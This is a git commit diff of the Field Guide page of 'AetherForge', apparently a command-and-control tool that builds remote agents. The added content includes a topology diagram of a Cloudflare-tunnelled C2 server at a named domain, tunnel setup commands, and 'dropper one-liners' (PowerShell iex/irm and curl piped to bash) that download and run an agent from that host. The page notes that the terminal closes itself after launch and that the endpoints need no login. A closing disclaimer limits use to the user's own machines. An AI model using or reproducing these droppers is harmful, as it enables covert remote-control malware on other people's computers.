feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
@@ -4,6 +4,7 @@ import {
|
||||
CHEAT_SECTIONS,
|
||||
PIPELINE_STEPS,
|
||||
TROUBLESHOOTING,
|
||||
type CheatStep,
|
||||
} from '../help/cheatSheetContent';
|
||||
import {
|
||||
ForgeCalibrateCompare,
|
||||
@@ -12,6 +13,80 @@ import {
|
||||
} from '../components/Visual/VisualComponents';
|
||||
import './Pages.css';
|
||||
|
||||
/** Inline code block with copy button */
|
||||
function CodeBlock({ code }: { code: string }) {
|
||||
const copy = () => navigator.clipboard?.writeText(code);
|
||||
return (
|
||||
<div className="guide-code-block">
|
||||
<pre className="guide-code-pre">{code}</pre>
|
||||
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
|
||||
Copy
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** A single step card — shows body, tips, optional code example, optional nav button */
|
||||
function StepCard({ step }: { step: CheatStep }) {
|
||||
return (
|
||||
<div className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} <span className="guide-step-sub">— {step.subtitle}</span></h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => <li key={t}>{t}</li>)}
|
||||
</ul>
|
||||
)}
|
||||
{step.code && <CodeBlock code={step.code} />}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
|
||||
{step.routeLabel || 'Open'}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** ASCII topology diagram — portable self-configuring setup */
|
||||
function TopologyDiagram() {
|
||||
const lines = [
|
||||
' ┌──────────────────────────────────────────────────────────────────────┐',
|
||||
' │ USB / Portable Machine (any network) │',
|
||||
' │ │',
|
||||
' │ ┌──────────────────────────────────────────────────────────────┐ │',
|
||||
' │ │ LAUNCH.bat │ │',
|
||||
' │ │ │ │',
|
||||
' │ │ 1. Installs cloudflared if missing (bundled MSI) │ │',
|
||||
' │ │ 2. Stages credentials.json from cloudflare\\ folder │ │',
|
||||
' │ │ 3. Writes fresh config.yml → 127.0.0.1:8989 │ │',
|
||||
' │ │ 4. Starts cloudflared tunnel (skips if already running) │ │',
|
||||
' │ │ 5. Starts AetherForge.exe on 0.0.0.0:8989 │ │',
|
||||
' │ └────────────────────────┬─────────────────────────────────────┘ │',
|
||||
' │ │ localhost │',
|
||||
' │ ┌─────────────┴──────────────┐ │',
|
||||
' │ │ cloudflared named tunnel │ │',
|
||||
' │ │ aetherforge-c2 │──────────────▶ CF Edge │',
|
||||
' │ └─────────────────────────────┘ │ │',
|
||||
' └────────────────────────────────────────────────────────────────────┘ ',
|
||||
' │',
|
||||
' https://killa.thetempleofdoom.com (permanent) │',
|
||||
' │',
|
||||
' ┌───────────────┬───────────────┐ │',
|
||||
' ▼ ▼ ▼ │',
|
||||
' [Agent PC] [Agent PC] [Agent PC] ◀──-┘',
|
||||
' any network any network any network',
|
||||
' baked C2 URL baked C2 URL baked C2 URL',
|
||||
];
|
||||
return (
|
||||
<div className="guide-topology">
|
||||
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function GuidePage() {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
@@ -20,11 +95,12 @@ export default function GuidePage() {
|
||||
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
|
||||
<h1>Field Guide</h1>
|
||||
<p className="page-subtitle">
|
||||
Visual cheat sheet — what each page does, how the pipeline works, and what to fix when things break.
|
||||
Everything you need — pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* ── Live pipeline ── */}
|
||||
<NeonCard accent="cyan" className="section" hud>
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Live pipeline
|
||||
@@ -33,73 +109,103 @@ export default function GuidePage() {
|
||||
<PipelineFlow />
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Network topology ── */}
|
||||
<NeonCard accent="amber" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Network topology
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
AetherForge binds to <code className="mono-sm">0.0.0.0:PORT</code> — it does not need to know about Cloudflare.
|
||||
A separate machine runs <code className="mono-sm">cloudflared</code> and tunnels external traffic to the C2's LAN IP.
|
||||
Agents connect to the Cloudflare tunnel URL baked at Forge time.
|
||||
</p>
|
||||
<TopologyDiagram />
|
||||
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
|
||||
<div className="guide-step-num">💡</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>How it works on any machine</h4>
|
||||
<ul className="guide-tips">
|
||||
<li>Plug in USB → run <code className="mono-sm">LAUNCH.bat</code> — cloudflared installs + tunnel starts automatically</li>
|
||||
<li>AetherForge binds <code className="mono-sm">0.0.0.0:8989</code> — cloudflared connects to <code className="mono-sm">127.0.0.1:8989</code></li>
|
||||
<li>Public URL never changes: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
|
||||
<li>Forge Control Endpoint: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
|
||||
<li>Backup C2 in Forge: <code className="mono-sm">http://192.168.x.x:8989</code> (LAN fallback)</li>
|
||||
<li>One-time setup: see <code className="mono-sm">cloudflare/SETUP.txt</code> on the USB</li>
|
||||
</ul>
|
||||
<CodeBlock code={`# One-time setup (any machine, done once):
|
||||
cloudflared tunnel login
|
||||
cloudflared tunnel create aetherforge-c2
|
||||
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
|
||||
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json
|
||||
|
||||
# After that — just run:
|
||||
LAUNCH.bat`} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Forge vs Calibrate ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Forge vs Calibrate
|
||||
<span className="section-ornament">◆</span> Forge vs Calibrate — what goes where
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<ForgeCalibrateCompare />
|
||||
</section>
|
||||
|
||||
{/* ── Dropper one-liners quick-ref ── */}
|
||||
<NeonCard accent="green" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Dropper one-liners
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — then send one of these to any machine. Terminal closes automatically after the agent launches. Hostname is permanent via named Cloudflare tunnel.
|
||||
</p>
|
||||
<div className="guide-dropper-grid">
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Windows</span>
|
||||
<CodeBlock code={`iex (irm 'https://killa.thetempleofdoom.com/install.ps1')`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Linux / macOS</span>
|
||||
<CodeBlock code={`curl -sL https://killa.thetempleofdoom.com/install.sh | bash`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Direct binary</span>
|
||||
<CodeBlock code={`https://killa.thetempleofdoom.com/get?os=windows
|
||||
https://killa.thetempleofdoom.com/get?os=linux
|
||||
https://killa.thetempleofdoom.com/get`} />
|
||||
</div>
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Dropper endpoints are unauthenticated — the URL is the gate. Dashboard requires login. Tunnel auto-starts with LAUNCH.bat on any machine.
|
||||
</p>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Detailed section steps ── */}
|
||||
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
|
||||
<section key={section.id} className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> {section.title}
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint">{section.description}</p>
|
||||
{section.steps?.map((step) => (
|
||||
<div key={step.id} className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} — {step.subtitle}</h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => (
|
||||
<li key={t}>{t}</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-outline btn-sm">
|
||||
{step.routeLabel || 'Open'}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
|
||||
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
))}
|
||||
|
||||
{/* ── Step-by-step pipeline detail ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Step-by-step (detailed)
|
||||
<span className="section-ornament">◆</span> Step-by-step (pipeline detail)
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
{PIPELINE_STEPS.map((step) => (
|
||||
<div key={step.id} className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} — {step.subtitle}</h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => (
|
||||
<li key={t}>{t}</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-primary btn-sm">
|
||||
{step.routeLabel}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
|
||||
{/* ── Troubleshooting ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Troubleshooting
|
||||
@@ -115,16 +221,18 @@ export default function GuidePage() {
|
||||
</NeonCard>
|
||||
</section>
|
||||
|
||||
{/* ── Roadmap ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Product roadmap
|
||||
<span className="section-ornament">◆</span> Feature status
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '1rem' }}>
|
||||
Shipped capabilities (high/medium) and remaining low-priority ideas.
|
||||
Shipped (high), in progress (medium), and planned (low) capabilities.
|
||||
</p>
|
||||
<RoadmapGrid />
|
||||
</section>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
Reference in New Issue
Block a user